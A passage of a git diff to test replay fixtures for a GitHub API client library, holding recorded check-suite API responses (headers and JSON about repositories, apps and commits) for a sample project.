Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503857,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzODU3","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503857","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"created_at":"2020-08-04T05:06:54Z","updated_at":"2020-08-04T05:07:09Z","latest_check_runs_count":1,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503857/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} - diff --git a/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByAppId.txt b/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByAppId.txt index e25bead406..959e913170 100644 --- a/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByAppId.txt +++ b/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByAppId.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Sun, 09 Aug 2020 06:33:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"0541d417e4c5cdd5fa0a1e39f98c9ef5"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDB4:24C3:264926:3089E3:5F2F98D0')] {"total_count":1,"check_suites":[{"id":1004503392,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzky","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":29110,"slug":"dependabot","node_id":"MDM6QXBwMjkxMTA=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"Dependabot","description":"","external_url":"https://dependabot-api.githubapp.com","html_url":"https://github.com/apps/dependabot","created_at":"2019-04-16T22:34:25Z","updated_at":"2019-07-01T21:20:42Z","permissions":{"checks":"write","contents":"write","issues":"write","members":"read","metadata":"read","pull_requests":"write","statuses":"read","workflows":"write"},"events":["check_suite","issues","issue_comment","label","pull_request","pull_request_review","pull_request_review_comment","repository"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} - diff --git a/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByCheckName.txt b/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByCheckName.txt index 1014be682b..0c3f780f35 100644 --- a/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByCheckName.txt +++ b/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByCheckName.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Sun, 09 Aug 2020 06:33:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"16c27eb9cbf70658135398352a34984e"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EAC4:55B2:10F0E6:15F054:5F2F98D2')] {"total_count":1,"check_suites":[{"id":1004503395,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk1","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":19534,"slug":"prosebot","node_id":"MDM6QXBwMTk1MzQ=","owner":{"login":"JasonEtco","id":10660468,"node_id":"MDQ6VXNlcjEwNjYwNDY4","avatar_url":"https://avatars1.githubusercontent.com/u/10660468?v=4","gravatar_id":"","url":"https://api.github.com/users/JasonEtco","html_url":"https://github.com/JasonEtco","followers_url":"https://api.github.com/users/JasonEtco/followers","following_url":"https://api.github.com/users/JasonEtco/following{/other_user}","gists_url":"https://api.github.com/users/JasonEtco/gists{/gist_id}","starred_url":"https://api.github.com/users/JasonEtco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JasonEtco/subscriptions","organizations_url":"https://api.github.com/users/JasonEtco/orgs","repos_url":"https://api.github.com/users/JasonEtco/repos","events_url":"https://api.github.com/users/JasonEtco/events{/privacy}","received_events_url":"https://api.github.com/users/JasonEtco/received_events","type":"User","site_admin":true},"name":"prosebot","description":"Probot App to help you write better on GitHub.\r\n\r\n## Usage\r\n\r\nThis Probot App listens for changes to Markdown files (`.md`) or text files (`.txt`) and runs various checks against them to provide feedback on the English. Currently, the app checks for spelling, prose and inclusive verbiage. This is done by leveraging existing open source libraries, which you can find [listed below](#credits). Here's how it looks in action:\r\n\r\n

\r\n \"image\"\r\n

\r\n\r\n### What it checks\r\n\r\nA non-exhaustive list of the various checks that are run:\r\n\r\n* Correct spelling (and provides possible corrections).\r\n* Use of non-inclusive/profane/offensive language.\r\n* Various prose-related checks, find the full list [here](https://github.com/btford/write-good#checks).\r\n\r\n### Installation\r\n\r\nVisit [the installation page](https://github.com/apps/prosebot) and install the GitHub App on your repositories. That's all there is to it ❤️\r\n\r\n### Configuration\r\n\r\nThere are currently three providers that the app uses to test your text. These can each be disabled, and are all enabled by default. To disable a provider, add a `.github/write-good.yml` file to your repository and set the provider to `false`:\r\n\r\n```yaml\r\n# .github/write-good.yml\r\nwriteGood: true\r\nalex: true\r\nspellchecker: true\r\n```\r\n\r\n### Credits\r\n\r\nThis Probot App is mostly a wrapper around existing open source libraries. The majority of the work is done by those, and they deserve a ton of thanks:\r\n\r\n* [`write-good`](https://github.com/btford/write-good)\r\n* [`alex`](https://github.com/get-alex/alex)\r\n* [`node-spellchecker`](https://github.com/atom/node-spellchecker)\r\n\r\n### Future work\r\n\r\n* Using [Suggested Changes](https://blog.github.com/changelog/2018-10-16-suggested-changes/) to... suggest changes.\r\n* Work on multiple PRs at a time\r\n* Nicer annotations\r\n* More providers? [Open an issue!](https://github.com/JasonEtco/prosebot/issues/new)\r\n","external_url":"https://github.com/JasonEtco/prosebot","html_url":"https://github.com/apps/prosebot","created_at":"2018-10-22T20:28:41Z","updated_at":"2018-10-23T18:40:32Z","permissions":{"checks":"write","contents":"read","pull_requests":"write"},"events":["check_run","check_suite","pull_request"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:55Z","latest_check_runs_count":3,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} - diff --git a/tests/ReplayData/CheckSuite.testUpdateCheckSuitesPreferences.txt b/tests/ReplayData/CheckSuite.testUpdateCheckSuitesPreferences.txt index ed111f5896..5b35bdb04b 100644 --- a/tests/ReplayData/CheckSuite.testUpdateCheckSuitesPreferences.txt +++ b/tests/ReplayData/CheckSuite.testUpdateCheckSuitesPreferences.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 27 Nov 2020 20:31:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"2df2e582a88bdbf265e18c6e813181a1913e6de09e4ff93e1b0c8dcb1deceb05"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '17'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D599:231D:2B289E:375246:5FC16235')] {"preferences":{"auto_trigger_checks":[{"app_id":67,"setting":true},{"app_id":85429,"setting":true},{"app_id":86183,"setting":true}]},"repository":{"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for 